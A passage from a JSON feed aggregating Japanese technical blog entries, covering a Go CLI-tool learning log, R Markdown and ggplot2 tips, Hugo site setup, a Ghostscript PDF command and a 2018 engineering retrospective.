\\"Linuxコマンド名\\"とする\\r極力標準パッケージを使用する\\r\\rソースコード\\rソースコードはGithubで管理します。\\rhttps://github.com/kyohmizu/go-cli-tools\\rスケジュール\\r\\r\\r\\rNo\\r日付\\rコマンド\\r基本実装\\rオプション\\r学習内容\\r\\r\\r1\\r5/23\\rmyls\\r〇\\r\xa0\\r\\rディレクトリ操作\\rエラー処理\xa0\\r\\r\\r\\r2\\r5/24\\rmycp\\r〇\\r△\\rファイル操作\\r\\r\\r3\\r5/25\\rmymv\\r〇\\r△\\r\xa0\\r\\r\\r4\\r5/26\\rmyrm\\r〇\\r△\\r\xa0\\r\\r\\r5\\r5/27\\rmycat\\r〇\\r△\\r\xa0\\r\\r\\r6\\r5/28\\rmycurl\\r〇\\r△\\r\\rhttp接続の実装\\rオプションの複数回指定\\r\\r\\r\\r7\\r5/29\\rmypwd\\r〇\\r△\\r\xa0OSによる条件分岐\\r\\r\\r8\\r5/30\\rmytouch\\r〇\\r△\\rbuild tagの設定\xa0\\r\\r\\r9\\r5/31\\rmymkdir\\r〇\\r△\\r\xa0ファイルの操作権限\\r\\r\\r10\\r6/1\\rmykill\\r〇\\r〇\\rプロセスとシグナル\xa0\\r\\r\\r11\\r6/2\\rmyecho\\r〇\\r-\\r引数の取得\\r\\r\\r12\\r6/3\\rmytime\\r△\\r-\\r\\rコマンド実行\\rtimeの操作\\r\\r\\r\\r13\\r6/4\\rmychmod\\r△\\r-\\r\\rbit演算\\rファイルの権限\\r\\r\\r\\r14\\r6/5\\rmyyes\\r〇\\r〇\\r\xa0\\r\\r\\r15\\r6/6\\rmyenv\\r〇\\r△\\r\\rwindowsで確認不可\\r\\r\\r\\r16\\r6/7\\rmychown\\r〇\\r△\\r\\ruser,group操作\\rwindowsで確認不可\\r\\r\\r\\r17\\r6/8\\rmygrep\\r〇\\r△\\r\\rgrepの操作\\rgoの正規表現\\r\\r\\r\\r18\\r6/9\\rmysleep\\r〇\\r△\\r\xa0\\r\\r\\r19\\r6/10\\rmymkdir\\r〇\\r△\\r\xa0\\r\\r\\r20\\r6/11\\rmyln\\r〇\\r△\\rリンクの操作\\r\\r\\r\\r\xa0\\r成果\\r\\rGoの構文や記法に慣れてきた\\rGo標準パッケージの使い方、調べ方を覚えた\\rLinuxコマンドの動作を知ることができた\xa0\\r\\r感想\\r20日も書けば、ある程度書けるようになることがわかりました。\\r普段使用するC#とGoが似ている点も覚えやすかったのだと思います。\\r次はGoでAPIを作成してみようと考えています。","isoDate":"2019-05-23T08:21:19.000Z","dateMiliSeconds":1558599679000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Ghostscript (> 9.15) を使って PDF 中の文字列をアウトライン化する","link":"https://blog.atusy.net/2019/05/23/outline-pdf-glyphs-by-gs/","contentSnippet":"HTML + CSS で作ったポスターをちゃんと印刷したくて調べたメモ.どうやら Ghostscript (> 9.15) で以下のような呪文を唱えればいいようだ.gs -o output.pdf -dNoOutputFonts -sDEVICE=pdfwrite input.pdf手元で試した分にはうまくいってそう (gs 9.27-1).","isoDate":"2019-05-23T00:00:00.000Z","dateMiliSeconds":1558569600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown でコードブロックに行番号を表示する 〜最終章〜","link":"https://blog.atusy.net/2019/05/19/rmd-line-num-pr/","contentSnippet":"Rmd で様々な HTMLフォーマット に出力した時にコードブロックに行番号を表示する機能 +α を PR したので使い方の紹介と PR の記録,","isoDate":"2019-05-19T00:00:00.000Z","dateMiliSeconds":1558224000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio 1.2.x では install.packages する時にパッケージ名を補完してくれる","link":"https://blog.atusy.net/2019/05/18/auto-complete-when-install-package/","contentSnippet":"リリースノートにも載っていない RStudio 1.2.x の世界ん?install.packagesするとき、ライブラリ名が補完される・・・???という @niszet0 氏の 投稿 を発端に確認.なぜか私が纏めることに.上の画像のように,パッケージ名を引用符で囲わずに入力し始め,tab キーを押すと幸せになれる.","isoDate":"2019-05-18T00:00:00.000Z","dateMiliSeconds":1558137600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown + XeLaTeX で日本語含め好きなフォントを使って PDF を出力する","link":"https://blog.atusy.net/2019/05/14/rmd2pdf-any-font/","contentSnippet":"これまでに度々 Rmd で日本語 PDF を出力する系の記事を書いてきました.RMarkdown + XeLaTeX + Noto フォントで日本語 PDF を出力するhttps://blog.atusy.net/2019/04/29/notocjkjp-on-rmd/Rmarkdownで日本語PDFを出力するhttps://qiita.com/Atsushi776/items/9ef1e5d744e2b91c61eej両記事は共に IPA(ex) フォントを使ってきました.","isoDate":"2019-05-14T00:00:00.000Z","dateMiliSeconds":1557792000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"knitr をフォークする時は knitr-examples もフォークした方がいい","link":"https://blog.atusy.net/2019/05/13/forking-knitr/","contentSnippet":"R Markdown のコードブロックで行番号を便利に使えるよう,関連パッケージに働きかけています.bookdown::html_document2 に clean_highlight_tags を追加(#706; merged)pagedown の default.css を編集して出力の見た目を修正(#100; approved)knitr のコードブロックに Pandoc のfenced code attributesをフルサポートさせる(#1710)詳細は全てがマージされたら報告しようかなと.","isoDate":"2019-05-13T00:00:00.000Z","dateMiliSeconds":1557705600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo テーマを更新して UX 向上を狙ってみた","link":"https://blog.atusy.net/2019/05/11/simplified-hugo-bootstrap/","contentSnippet":"当 blog は 静的サイトジェネレータの Hugo によって運用している.テーマは長らく Xzya/hugo-bootstrap だデモサイト).しかし,目立つ青が随所に散らばるテーマであることなど,イマイチ読み難いように感じていた.","isoDate":"2019-05-11T00:00:00.000Z","dateMiliSeconds":1557532800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo で KaTeX","link":"https://blog.atusy.net/2019/05/09/katex-in-hugo/","contentSnippet":"MathJax より軽量で高速な KaTeX に乗り換えた","isoDate":"2019-05-09T19:00:00.000Z","dateMiliSeconds":1557428400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo (blogdown) で MathJax","link":"https://blog.atusy.net/2019/05/09/how2mathjax/","contentSnippet":"Hugo (blogdown) で MathJax を利用する方法を紹介.ただし,2019-05-09 以降は KaTeX を採用しているため,数式のレンダリングは KaTeX によるもの.","isoDate":"2019-05-09T18:00:00.000Z","dateMiliSeconds":1557424800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RMarkdown + XeLaTeX + Noto フォントで日本語 PDF を出力する","link":"https://blog.atusy.net/2019/04/29/notocjkjp-on-rmd/","contentSnippet":"はじめに過去に 「Rmarkdownで日本語PDFを出力する」という記事を書いた.ここでは以下のような YAML フロントマターを用いて, IPA フォントによる日本語 PDF を出力した.---output: pdf_document: latex_engine: xelatex header-includes: - \\\\usepackage{bookmark} - \\\\usepackage{xltxtra} - \\\\usepackage{zxjatype} - \\\\usepackage[ipa]{zxjafont} ---\\\\usepackage[ipa]{zxjafont} という部分で IPA フォントを指定しているが,ここには他のフォントも指定できる1.","isoDate":"2019-04-29T00:00:00.000Z","dateMiliSeconds":1556496000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker/verse でも Rmd → PDF 時に必要なパッケージが自動インストールできるようになった","link":"https://blog.atusy.net/2019/04/27/tlmgr-install-on-rocker/","contentSnippet":"rocker/verse における Tex Live 関連の権限が更新され, tlmgr install や Rmd → PDF 時に必要なパッケージの自動インストールが可能になった.Dockerfile 編集時には注意点あり.","isoDate":"2019-04-27T00:00:00.000Z","dateMiliSeconds":1556323200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"highlightjs と highlightjs-line-numbers プラグインで Rmarkdown のコードブロックに行番号をつける","link":"https://blog.atusy.net/2019/04/22/rmd-line-num-with-highlightjs/","contentSnippet":"highlightjs と highlightjs-line-numbers プラグインによって, 様々な html フォーマットにおいてコードブロックに番号付けできるようにする方法を紹介する.","isoDate":"2019-04-22T00:00:00.000Z","dateMiliSeconds":1555891200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmarkdown でチャンクとその出力に行番号を付ける","link":"https://blog.atusy.net/2019/04/18/rmd-line-num/","contentSnippet":"html_document と pdf_document でチャンクとその出力に行番号を付ける方法が判ったので,紹介します.出力例と詳解は英語版をご覧下さい.","isoDate":"2019-04-18T00:00:00.000Z","dateMiliSeconds":1555545600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Form","link":"https://blog.atusy.net/netlify-forms/","contentSnippet":"Send","isoDate":"2019-04-17T00:00:00.000Z","dateMiliSeconds":1555459200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"プライバシーポリシー","link":"https://blog.atusy.net/privacy-policy/","contentSnippet":"本文書は,当サイト (Atusy’s blog) における個人情報の保護およびその適切な取り扱いについての方針を示したものです.当サイトが利用しているアクセス解析ツールに関して当サイトでは,Googleによるアクセス解析ツール「Googleアナリティクス」を利用しています.このGoogleアナリティクスはトラフィックデータの収集のためにCookieを使用しています.このトラフィックデータは匿名で収集されており,個人を特定するものではありません.","isoDate":"2019-04-17T00:00:00.000Z","dateMiliSeconds":1555459200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker で使える便利コマンド install2.r とその仲間たち powered by littler","link":"https://blog.atusy.net/2019/04/16/littler-on-rocker/","contentSnippet":"rocker で使える install2.r や installGithub.r は,シェル上から CRAN や GitHub 上の R パッケージをインストールするコマンドです.これらの正体や TIP を纏めました.","isoDate":"2019-04-16T00:00:00.000Z","dateMiliSeconds":1555372800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"xonsh 始めました + xonshrc 弄って oh-my-fish/yimmy inspired な見た目にする","link":"https://blog.atusy.net/2019/04/14/xonsh-debut/","contentSnippet":"Python が動いちゃうシェルこと xonsh を導入しました.早速最低限の設定としてばんくし氏の xonshrc を撮み食いしつつ,Look & Feel を oh-my-fish/theme-yimmy inspired なものにしました.","isoDate":"2019-04-14T00:00:00.000Z","dateMiliSeconds":1555200000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2 をもっとカンタンに plotly 化する","link":"https://blog.atusy.net/2019/03/22/ggplotly-asif-layer/","contentSnippet":"ggplot(mtcars, aes(wt, mpg)) + geom_point() + gginteractive() といった感じで,ggplot に優しい文法で ggplot を plotly 化できるようにしてみました.gghighlight との組み合わせも便利です.","isoDate":"2019-03-22T00:00:00.000Z","dateMiliSeconds":1553212800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Istioが作るサービスメッシュ~サンプルアプリのデプロイ~","link":"https://qiita.com/tozastation/items/1f3c3f213b42e1689406","contentSnippet":"サンプルアプリ題材: BookInfo アプリケーション※ 事前にIstioをKubernetesにデプロイしておいてください.構成サンプルアプリのデプロイistio-1.0.6 dire…","isoDate":"2019-03-14T05:18:21.000Z","dateMiliSeconds":1552540701000,"authorName":"tozastation","authorId":"tozastation"},{"title":"CNAME ファイルだけで GitHub pages から301リダイレクトする","link":"https://blog.atusy.net/2019/03/11/use-cname-to-redirect-from-gh-pages/","contentSnippet":"GitHub pages を利用していたレポジトリに転送先のドメインを記述したファイルを作成すると user.github.io/repository/* へのアクセスが指定したドメインに転送されるようになります.","isoDate":"2019-03-11T00:00:00.000Z","dateMiliSeconds":1552262400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"git でプレゼン資料を纏めるなら各資料は submodule 化しとくとよさげ","link":"https://blog.atusy.net/2019/02/14/submodulize-presentations/","contentSnippet":"私はプレゼン資料を atusy/presentation に纏めて公開している.プレゼンの機会なんて無制限にあるので色々面倒が生じる気がしてきた.資料ごとに git log を分けたいsubmodule ならできる振り返る気のない資料は適宜 local から消したいディスク容量節約","isoDate":"2019-02-14T00:00:00.000Z","dateMiliSeconds":1550102400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio daily builds な rocker/verse をビルド時間短かめに作る","link":"https://blog.atusy.net/2019/02/12/dockerfile-rocker-verse-daily/","contentSnippet":"※この記事は元々,Rstudio 1.2.x preview版を利用したい人向けの記事でした. 2019-04-08 に Rstudio 1.2.1335 が正式リリースされたので, daily builds を使いたい人向けに改題しました.","isoDate":"2019-02-12T00:00:00.000Z","dateMiliSeconds":1549929600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"hugo_bootstrap のサイドバーにシェアボタンを追加","link":"https://blog.atusy.net/2019/02/08/sns-buttons/","contentSnippet":"やっぱり Share ボタンは欲しいよねということで雑に実装した.","isoDate":"2019-02-08T00:00:00.000Z","dateMiliSeconds":1549584000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"専用パッケージを導入せず GitHub 上の R パッケージをインストールする","link":"https://blog.atusy.net/2019/02/07/stand-alone-remotes-install-github/","contentSnippet":"TL;DRGitHub上の R パッケージのインストールは以下のようにコマンド一発でできる.force = TRUE による強制インストールなどいろいろできる.","isoDate":"2019-02-07T00:00:00.000Z","dateMiliSeconds":1549497600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"pkgdown で作った Webサイトを引越ししたら algolia/docsearch-configs に設定変更を PR しよう","link":"https://blog.atusy.net/2019/01/25/url-change-for-algolia/","contentSnippet":"docsearch を利用すると,pkgdown で作ったページの全文検索機能を簡単に設定できる (https://pkgdown.r-lib.org/articles/pkgdown.html#search).先日 pkgdown サイトの URL を qntmap.atusy.net に変更したので,algolia も変えなきゃと思って改めて新規申し込みしてしまった.","isoDate":"2019-01-25T00:00:00.000Z","dateMiliSeconds":1548374400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Warnning: newer than the core を放置せずに pacman -Syuu しとこう (Manjaro linux)","link":"https://blog.atusy.net/2019/01/24/pacman-syuu-when-pkg-is-newer-than-core/","contentSnippet":"pacman -Syu でアップグレードした際に,Warnning: newer than the coreといった警告が出ることがあります.特に systemd などシステムに深く関連するパッケージが警告を貼っする時は pacman -Syuu して新しすぎるパッケージをダウングレードしましょう.","isoDate":"2019-01-24T00:00:00.000Z","dateMiliSeconds":1548288000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub pages から Netlify に移行 + 独自ドメイン化","link":"https://blog.atusy.net/2019/01/23/test-netlify/","contentSnippet":"これまで blog を GitHub pages 上で公開してきたが,思い立って独自ドメインで Netlify に移行した.移行のメリットは Yi Hui が語っているけれど,以下に自分にとっての理由と手順の概略を書き留めておく.","isoDate":"2019-01-23T00:00:00.000Z","dateMiliSeconds":1548201600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"べき演算のベンチマーク","link":"https://blog.atusy.net/2019/01/22/power-calc-bench/","contentSnippet":"確認のための準備bench::markbench::press手動ベンチプレス100乗: * の負け90乗: * の勝ち1000乗: 工夫すれば * も勝てるベクトルを長くしてみる @ 90乗: * が勝てるベクトルを短かくしてみる @ 90乗: : * が負ける底をデカくしてみる @ 90乗: * が勝つEnjoyべき演算をするには ^ を使うか * を使えばいいけれど,条件次第ではなんと * が勝つらしいことが分かった.","isoDate":"2019-01-22T00:00:00.000Z","dateMiliSeconds":1548115200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot で scale = free な facet の軸を調整する","link":"https://blog.atusy.net/2019/01/20/control-axes-in-faceted-plots/","contentSnippet":"はじめにfacet の基本的な例パッケージのロードscales 引数を変えた時の様子を比較全 facet 共通で xmin = ymin = 0 にしてみる任意の facet で軸の範囲をコントロールする.Enjoy!前に Tokyo.R で「ggplot2で図を並べる」と題して色々話させてもらいました.時間や難易度の都合で話し切れていない部分も多々あるのですが,今日はその中の1つを補足したいと思います.はじめにggplot2 で facet を使って図を並べる時, scales 引数を指定することでfacet ごとの軸の範囲を可変にできます.軸の範囲は ggplot2 がそれっぽく決めてくれるのですが,特定の facet について自分でコントロールしたい時はどうすればいいでしょうか.","isoDate":"2019-01-20T00:00:00.000Z","dateMiliSeconds":1547942400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot の facet ごとに共通なプロットを盛り込む","link":"https://blog.atusy.net/2019/01/20/share-data-in-facets/","contentSnippet":"はじめにfacet で表示されない部分のデータをグレーでプロットしてみるversicolor と virginica だけで facet してそれぞれの facet に setosa を表示するEnjoy!はじめにfacet を使うと以下のようにグループごとにプロットを分けることができます.しかし,グループ間の比較を行うのがちょっと辛いですね.こんな時,どうすればいいのでしょうか.","isoDate":"2019-01-20T00:00:00.000Z","dateMiliSeconds":1547942400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"base にパイプはないといつ言った?","link":"https://blog.atusy.net/2019/01/19/yet-another-pipe/","contentSnippet":"時はパイプ戦国時代.Tidyverse が覇権を握る世界線において pipe とは magrittr::`%>%` のことでしょうか.私は pipeR::`%>>%` 派ですね.他にも wrapr::`%.>%` など,色々な宗派があります.pipe の成り立ちを探る神学者たちも続々と表れております.","isoDate":"2019-01-19T00:00:00.000Z","dateMiliSeconds":1547856000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"一度に複数の変数を force する","link":"https://blog.atusy.net/2019/01/18/force-many-vars-at-once/","contentSnippet":"結論force(list(a, b, c, ...)) とすればいい.f <- function(a, b, c, ...) { force(list(a, b, c, ...)) # 先に評価したいものから list に入れる 10}f() #> Error in force(list(a, b, c, ...)) : argument \\"a\\" is missing, with no defaultf(stop(\\"a でエラー\\"))#> Error in force(list(a, b, c, ...)) : a でエラーf(a = 1) #> Error in force(list(a, b, c, ...)) : argument \\"b\\" is missing, with no defaultf(a = 1, b = 1)#> Error in force(list(a, b, c, ...)) : argument \\"c\\" is missing, with no defaultf(a = 1, c = 1)#> Error in force(list(a, b, c, ...)) : argument \\"b\\" is missing, with no default# OKf(a = 1, b = 1, c = 1)f(a = 1, b = 1, c = 1, d = 1)背景Rでは関数の引数が遅延評価されるため,引数は使わない限り評価されない“Adv. R: Lazy evaluation”).force 関数を使う.xforce を使うことで開発者の意図を盛り込もう.","isoDate":"2019-01-18T00:00:00.000Z","dateMiliSeconds":1547769600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"captioner を魔改造してみた","link":"https://blog.atusy.net/2019/01/17/enhance-captioner/","contentSnippet":"はじめに実装captioner を初期化キャプションを振る時は相互参照に利用する名前を id に流用参照する時は相互参照に利用する名前をリンクにする図をテストplot()表をテストknitr::kable()gt::gt()id付け失敗id付け成功例1id付け成功例2gt は相互参照未対応であることを確認はじめにcaptioner を使うと相互参照に未対応な Rmd フォーマットも相互参照できるようになる(rmarkdown::html_document とか pkgdown とか……).詳しくはテラモナギさんの記事を参照(captionerパッケージで図・表に対する参照(レファレンス)を取得する).","isoDate":"2019-01-17T00:00:00.000Z","dateMiliSeconds":1547683200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"S3総称関数の引数の既定値はメソッドに渡らない","link":"https://blog.atusy.net/2019/01/16/s3-generics-dont-pass-default-params-to-methods/","contentSnippet":"Error と周辺の挙動f <- function(x, n = 1, ...) UseMethod(\\"f\\")f.default <- function(x, n, ...) nf(NULL)## Error in f.default(NULL): argument \\"n\\" is missing, with no defaultてっきり f(NULL) を実行すると,既定で n = 1 だから,f.default(x = NULL, n = 1) が呼び出されるとばかり思っていた.メソッドに渡される引数は明示的に値を与えたものだけらしい.","isoDate":"2019-01-16T00:00:00.000Z","dateMiliSeconds":1547596800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"group_map などの data frame を要約する関数をベンチマーク (dplyr > 0.8.x)","link":"https://blog.atusy.net/2019/01/04/benchmarks-on-summarizing-with-dplyr/","contentSnippet":"パッケージ読み込みベンチマーク結果表Ridgeline 図箱ひげ図感想と補足Enjoy!tidyverse において,grouped data frame に対して grouping variables以外の各列に関数を適用する方法は種々ある.summarize: 関数の返り値が長さ1の時group_map: 関数の返り値がデータフレームの時nest %>% map: 関数の返り値が複雑な時基本は上述の使い分けのようだが (help(dplyr::group_map)),一応, summarize も返り値を list() してやると複雑な処理に対応できる(後述).","isoDate":"2019-01-04T00:00:00.000Z","dateMiliSeconds":1546560000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2018年振り返りと、2019年の目標","link":"https://kyohmizu.hatenablog.com/entry/2018/12/31/231740","contentSnippet":"2018年5月末から、エンジニアリングに関する様々な活動を行ってきました。\\r1年の終わりにそれらの活動をまとめ、2019年の目標を記したいと思います。\\r\\r2018年の活動\\r2018年は積極的に新しい技術へチャレンジし、勉強会を通して素晴らしい方々に出会うことができました。\\r新たに触れた技術・ツール\\r\\rGitHub\\rNode.js\\rAngular\\rGolang\\rCentOS\\rDocker\\rKubernetes\\rAzure\\rGCP\\rOWASP ZAP\\rLINE BOT/Clova\\rAgile\\rペアプログラミング/モブプログラミング\\r\\r勉強会・カンファレンス\\r\\rLINE Developer Meetup\\rde:code 2018\\rAzureもくもく会\\rng-japan 2018\\rSQL Server 2017勉強会\\rInteract 2018\\rCCSE 2018\\rThink Japan IBM Code Day\\rJXUG Xamarinハンズオン\\rCosmos DBハンズオン\\rくじらや Dockerハンズオン\\rLINE Clovaスキル開発ハンズオン\\rLINE BOOT AWARDS 2018 ハッカソン\\rGDG DevFest Tokyo 2018\\rXP祭り\\rAzureML勉強会\\rBIT VALLEY 2018\\r.NET Conf 2018\\rContainer SIG Meet-up\\rテスト管理を語る夕べ\\rAVTOKYO\\rアジャイル相談室\\rOSSセキュリティ技術の会\\rJapan Container Days\\r\\r※Japan Container Daysはスタッフとして参加させてもらいました。\\r書籍\\r読了\\r\\r徹底攻略 データベーススペシャリスト教科書\\r徹底攻略 ネットワークスペシャリスト教科書\\rショートコードプログラミング 第3版\\r新装版 達人プログラマー\\rSQLアンチパターン\\rインフラエンジニアの教科書2\\rプログラマのためのDocker教科書 第2版\\rDocker/Kubernetes 実践コンテナ開発入門\\r\\r読みかけ\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\r\\r社内の活動\\r\\r技術交流、コミュニケーション促進のためチャンネルを開設\\r社内勉強会を主催\\rモブプログラミング・ペアプログラミングを開始\\r\\r資格\\r合格\\r\\rデータベーススペシャリスト\\r\\r不合格\\r\\rネットワークスペシャリスト\\r\\r午後Ⅰが1点足りず…\\rその他\\r\\rはてなブログを開設\\rQiitaアドベントカレンダーに参加\\r\\r2019年の目標\\r7ヶ月間の活動の中で、様々な技術分野にチャレンジした結果、インフラ・セキュリティへの関心が強いことがわかりました。\\r2019年はContainerを中心にインフラのスキルを身に着け、セキュリティ分野の知見を広めていきます。\\r書籍\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\rKubernetes完全ガイド\\rハッカーの学校\\rテスト駆動開発\\r徹底マスター JavaScriptの教科書\\rドメイン駆動設計\\rハッキング・ラボのつくりかた\\r\\r資格\\r\\rLPIC Level1\\r情報処理安全確保支援士\\rネットワークスペシャリスト","isoDate":"2018-12-31T14:17:40.000Z","dateMiliSeconds":1546265860000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"モバイルファクトリーのインフラアーキテクチャというアドベントカレンダー書いてました","link":"https://blog.masasuzu.net/entry/2018/12/22/000000","contentSnippet":"ちょっと過去の話ですが、会社の技術ブログで書いてました。tech.mobilefactory.jp","isoDate":"2018-12-21T15:00:00.000Z","dateMiliSeconds":1545404400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"kubernetesにあるIngress Controller�の一覧を挙げてみる","link":"https://qiita.com/skikkh/items/c59de1f5e188d0bbeb35","contentSnippet":"はじめにIngress ControllerはL7 Load Balancerの機能を果たすものであり、Ingressリソースはそのルールを定義したものです。このIngress Controlle…","isoDate":"2018-12-17T14:21:33.000Z","dateMiliSeconds":1545056493000,"authorName":"skikkh","authorId":"skikkh"},{"title":"pacman でパッケージのインストール・ロードを簡単にする","link":"https://blog.atusy.net/2018/12/15/pacman/","contentSnippet":"pacman パッケージとはpacman パッケージの関数インストール / 読み込みを行うものその他便利関数10選needs パッケージとの比較pacman でも needs::prioritize したい?改善案GitHub 上のパッケージも NSE で指定したいCRAN 上のパッケージも GitHub 上のパッケージも同じ関数で指定したいCRAN 上のパッケージも @ でバージョン指定したいGitHub 上のパッケージも一時的な利用をしたい上記を合体させたいpacman パッケージとはR におけるパッケージ管理ツール.1","isoDate":"2018-12-15T00:00:00.000Z","dateMiliSeconds":1544832000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"furrr パッケージで R で簡単並列処理","link":"https://blog.atusy.net/2018/12/06/furrr/","contentSnippet":"インストール読み込み使い方シングルスレッド (strategy = sequential)マルチスレッド (strategy = multiprocess)コア数を変更乱数を固定プログレスバーを表示出力の型furrr パッケージを使うとpurrr パッケージのノリでモダンに並列処理ができるぞ!purrr パッケージを使ったことがない人は下記のリンクを参考して欲しい.","isoDate":"2018-12-06T00:00:00.000Z","dateMiliSeconds":1544054400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"furrr パッケージで ggplot のリストの表示を高速化する","link":"https://blog.atusy.net/2018/12/05/accelerate-list-of-ggplot-with-furrr/","contentSnippet":"はじめに実装とテストベンチマーク感想はじめに前にhoxo-m/pforeach パッケージを利用して,ggplot のリストを並列処理し,描写の高速化を行いました.しかし, hoxo-m/pforeach パッケージの霊圧が消えてしまったので,furrr パッケージを試してみることにしました.","isoDate":"2018-12-05T00:00:00.000Z","dateMiliSeconds":1543968000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本語でvimのfを使う","link":"https://qiita.com/atsuya0/items/d90bb3f4b8e538c028a9","contentSnippet":"fvimではf, F, t, Tを使うことで、瞬時に目的の文字上にカーソルを移動することができます。動作faでカーソルから右側の方向の1番近い「a」の位置に移動することができます。3faでカ…","isoDate":"2018-12-04T06:03:39.000Z","dateMiliSeconds":1543903419000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Japan.R 2018 感想","link":"https://blog.atusy.net/2018/12/02/japanr2018-joined/","contentSnippet":"Japan.R 2018 に参加しました発表の感想Long TalkR によるシステム開発入門 by @kos59125R Markdown テンプレートの作り方 by @kazutanGUI で簡単!モダンなデータ解析 by @efprime_jpShiny 完全に理解した by @Med_KULightning Talkgepuro task views 2nd by @gepuro条件付き相互作用の分析 by 太田博三DID 分析の説明 by やぎべゑcontextual パッケージでバンディットアルゴリズムの検証 by @housecat442スポーツチームでの R 活用の可能性 (ラグビーでの例を通して) by Koichi Kinoshita分析屋が福岡に移住して2年経った話 by @doradora09SagemakeR by @hiratake55Rによる分位点処置効果推定の話 by Yusuke Kanekoなんかやる(高速化周りかも) by かんこれアラサーエンジニア シティボーイ化計画 - 都会のお得物件を統計的に探してみる - by @hana_orinRcpp パッケージで外部 C++ ライブラリを使う by @heavywataldigdag で R をバッチり回す by @chengvtR で書く R コンパイラ by @igjit(仮)深層学習か画像認識で何かやります by nakamichi関数魔改造講座 (formals編) by atusyPlayer Rating with R by shrrt量子化学 (フラグメント分子軌道法) でも R したい(薬) 川嶋裕介ぼくの町の不安定 by tanaka_marimoこの IR のグラフがすごい! 上場企業2018 @ito_yanJapan.R 2018 に参加しました今回も多種多様でハイレベルな発表でしたね。個人的には自称 BeginneR 達の躍進が嬉しかったです。短期間に ggplot2 パッケージや leaflet パッケージを使えるようになって LT してくれる、これはコミュニティの情報共有の目醒ましい成果だと思います。","isoDate":"2018-12-02T00:00:00.000Z","dateMiliSeconds":1543708800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"viridisの色数","link":"https://blog.atusy.net/2018/11/25/size-of-viridis-color-palette/","contentSnippet":"viridis や cividis は、色の変化が知覚的に一様となるよう調整された、連続的なカラースケール。白黒印刷するとグレースケールになるので、プリンタにも優しい。viridis は論文がなさそうだが、 cividis は論文にもなっているようだ (https://arxiv.org/ftp/arxiv/papers/1712/1712.01662.pdf)。","isoDate":"2018-11-25T00:00:00.000Z","dateMiliSeconds":1543104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"書評 「R MarkdownでWord文書を作ろう」","link":"https://blog.atusy.net/2018/11/25/rmd-de-word/","contentSnippet":"RmdでWord本の再販が間近に迫っていますね.これは献本頂いた時にしたレビューの約束を果たす時!!Rmdでこんなに完成したWordドキュメントを作れるんだ……! と感動できるので是非.","isoDate":"2018-11-25T00:00:00.000Z","dateMiliSeconds":1543104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"`ggplot2::coord_cartesian(xlim = c(0, NA))` できるようにしてみた","link":"https://blog.atusy.net/2018/11/22/strange-coord-functions-ggplot2/","contentSnippet":"問題実装オリジナル修正版実験他のcoord_系列も問題なさそう感想PRに向けての試験的な実装.https://github.com/atusy/ggplot2/commit/26c1b7a478585889947d265d691e375e399637c3なぜかxlimやylimに長さ3以上の連続値を取れてしまうので,本来はscale_*_continuousやxlimに合わせて長さ2までに制限すべきだと思う","isoDate":"2018-11-22T00:00:00.000Z","dateMiliSeconds":1542844800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CSSでヘッダの行間を調整してみた","link":"https://blog.atusy.net/2018/11/21/mod-css-margin/","contentSnippet":"h1からh2そしてh3までの余白が以前はこんな感じで辛かった h2 h3 h2 h3 余白であって、行間ではないので、長い見出しを書いても大丈夫ですやりかたhugoを使っているので、テーマが保存されているディレクトリの","isoDate":"2018-11-21T00:00:00.000Z","dateMiliSeconds":1542758400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shinyでggplot2の選択領域を拡大 